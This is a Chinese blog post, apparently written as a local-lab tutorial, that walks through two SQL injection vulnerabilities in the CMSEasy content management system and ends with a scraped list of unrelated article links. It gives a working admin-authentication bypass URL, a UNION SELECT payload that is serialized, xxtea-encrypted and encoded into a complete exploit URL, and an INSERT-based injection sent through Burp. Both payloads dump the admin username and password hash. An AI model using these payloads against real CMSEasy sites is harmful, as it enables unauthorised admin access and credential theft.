当前位置: 首页 > news >正文

cmseasy的两个注入漏洞

目录

第一个漏洞

第一步:

第二步:

 第三步:

第四步:

第二个漏洞

第一步:

第二步:


cmseasy是流行于17年左右的一个网站,后台界面是这样的

我们先看一下页面的源代码,整体架构还是比较用以看懂的。

第一个漏洞
第一步:

我们找到lib/admin/admin.php,发现其中第14行15行代码的意思是:当你的服务器ip等于你自己的ip并且get传参ishtml的值=1时直接return,否则才会check_admin();所以只要我们满足这两个条件,是不是就可以绕过检测。拿到后台的cookie安全码来完成注入。

http://127.0.0.1/cmseasy/uploads/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1

可以看到我没有输入账号密码直接进了后台,也就拿到了cookie安全码。 

由于我是直接搭建在本地,所以ip都是127.0.0.1,如果不是的话,ping一下服务器就知道是多少了。

第二步:

我找到了lib/admin/admin_act.php里面的remotelogin_action()远程登录函数。

第63行用到了我们刚刚获取到的cookie,意思是把cookie get传参进行base64解码,在进行解密,解密完之后再进行反序列化,这里的&user其实就跟数据库有关了,在同一个目录下。

 我们一直跳转到这里,终于找到了这里的getrow()最终的目的就是为了通过where查询出来之后拼装成sql语句执行。

 第三步:

找到加密函数因为源代码太多,所以我把加密函数复制到单独的一个php文件中。

然后我们就可以开始注入了,我先通过mysql查询到cmseasy_user表有20个字段

所以我们需要这样写注入语句:

'userid`=-1 union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1

然后进行先序列化,再加密,最后再编码,因为这里需要跟源码的解顺序反过来

echo base64_encode(xxtea_encrypt(serialize($table), $key));

最终构造完成:

访问过后会得到一串编码。注意这里的加号反斜杠是需要编码的,如果不编码会从中间截断,+的编码是%2b,/的编码是%2f。

Mg3yr4xzMV9DDfopnS7A3PY+agrE/VbgCTZpJwJPQN9S9K4iLs/aU4d6u7pUJapCpDou2OuDfrHeXB05ltXTSccBUxfO5P4vjoEC44p0MitDQxFnuMm7pXu9hOGYwzdlCBz3VLto2dH3DkDDztVcTT7KkZG4l9e5KdGE2mxt24AOJ0Dh+rmtVcgw+sCBfd6P55nbjYb3JjQH9Kld
第四步:

现在可以在登录界面进行测试:因为我们用的是remotelogin,所以act=remotelogin

http://127.0.0.1/cmseasy/uploads/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=Mg3yr4xzMV9DDfopnS7A3PY%2bagrE%2fVbgCTZpJwJPQN9S9K4iLs%2faU4d6u7pUJapCpDou2OuDfrHeXB05ltXTSccBUxfO5P4vjoEC44p0MitDQxFnuMm7pXu9hOGYwzdlCBz3VLto2dH3DkDDztVcTT7KkZG4l9e5KdGE2mxt24AOJ0Dh%2brmtVcgw%2bsCBfd6P55nbjYb3JjQH9Kld

最后我已经可以看到账号密码了admin%3A21232f297a57a5a743894a0e4a801fc3

账号就是admin,%3A就是一个分割符,后面进行解码就可以了

到这里就结束了。

第二个漏洞
第一步:

我们找到漏洞点在bbs/add-archive.php中,第25行开始,意思是拿到username,userid,ip,addtime通过$_post进行插入,但是它会接收所有的post传参,所有这也是一个注入点。

这里我们通过全局查找找到inserData(),然后再一步一步找下去,找到过滤函数

这里就和sqli-labs的第17关差不多了。

第二步:

来到论坛界面

提交时使用brupsuite进行抓包

然后复制到repeater模块,在最下面写一串命令:

username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)#

然后提交,我们可以先断点在提交,这样可以看代码走的过程。

 可以看到$data是这些数组

 这里循环出来之后进行替换,$n_str就是插入的key,$v_str就是插入的value

最后返回的就是拼接的全部内容。

 

走到最后执行,帖子就注入成功了

 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • GiantPandaCV | 大模型训练:Megatron-Kwai中的内存优化
  • Lesson 57 An unusual day
  • git:安装 / 设置环境变量 / 使用
  • 009集——调用方法与递归算法 ——C#学习笔记
  • 网络安全面试题
  • 飞桨Paddle API index_add 详解
  • 8月8号前端日报:web在线进行eps32固件升级
  • 阿里云部署open-webui实现openai代理服务(持续更新)
  • Flink Checkpoint expired before completing解决方法
  • R 语言学习教程,从入门到精通,R 数据框(14)
  • 使用html+css+js实现完整的登录注册页面
  • Python酷库之旅-第三方库Pandas(082)
  • 数据集的简单制作和使用
  • TS中什么是泛型
  • MySQL与PostgreSQL语法区别
  • [微信小程序] 使用ES6特性Class后出现编译异常
  • Angular 2 DI - IoC DI - 1
  • CODING 缺陷管理功能正式开始公测
  • flask接收请求并推入栈
  • isset在php5.6-和php7.0+的一些差异
  • Laravel5.4 Queues队列学习
  • Linux CTF 逆向入门
  • Netty+SpringBoot+FastDFS+Html5实现聊天App(六)
  • React as a UI Runtime(五、列表)
  • React中的“虫洞”——Context
  • ubuntu 下nginx安装 并支持https协议
  • 阿里云应用高可用服务公测发布
  • 闭包,sync使用细节
  • 从零开始在ubuntu上搭建node开发环境
  • 官方解决所有 npm 全局安装权限问题
  • 后端_MYSQL
  • 京东美团研发面经
  • 聊聊hikari连接池的leakDetectionThreshold
  • 判断客户端类型,Android,iOS,PC
  • 软件开发学习的5大技巧,你知道吗?
  • 使用前端开发工具包WijmoJS - 创建自定义DropDownTree控件(包含源代码)
  • 想使用 MongoDB ,你应该了解这8个方面!
  • 一个完整Java Web项目背后的密码
  • 在 Chrome DevTools 中调试 JavaScript 入门
  • 7行Python代码的人脸识别
  • # 利刃出鞘_Tomcat 核心原理解析(八)-- Tomcat 集群
  • ###C语言程序设计-----C语言学习(6)#
  • (1)(1.13) SiK无线电高级配置(六)
  • (9)目标检测_SSD的原理
  • (附源码)spring boot球鞋文化交流论坛 毕业设计 141436
  • (附源码)流浪动物保护平台的设计与实现 毕业设计 161154
  • (佳作)两轮平衡小车(原理图、PCB、程序源码、BOM等)
  • (十八)用JAVA编写MP3解码器——迷你播放器
  • (算法)前K大的和
  • (转)甲方乙方——赵民谈找工作
  • (转)如何上传第三方jar包至Maven私服让maven项目可以使用第三方jar包
  • .Net Core 笔试1
  • .NET 表达式计算:Expression Evaluator
  • .NET/C# 使用反射注册事件
  • .Net6支持的操作系统版本(.net8已来,你还在用.netframework4.5吗)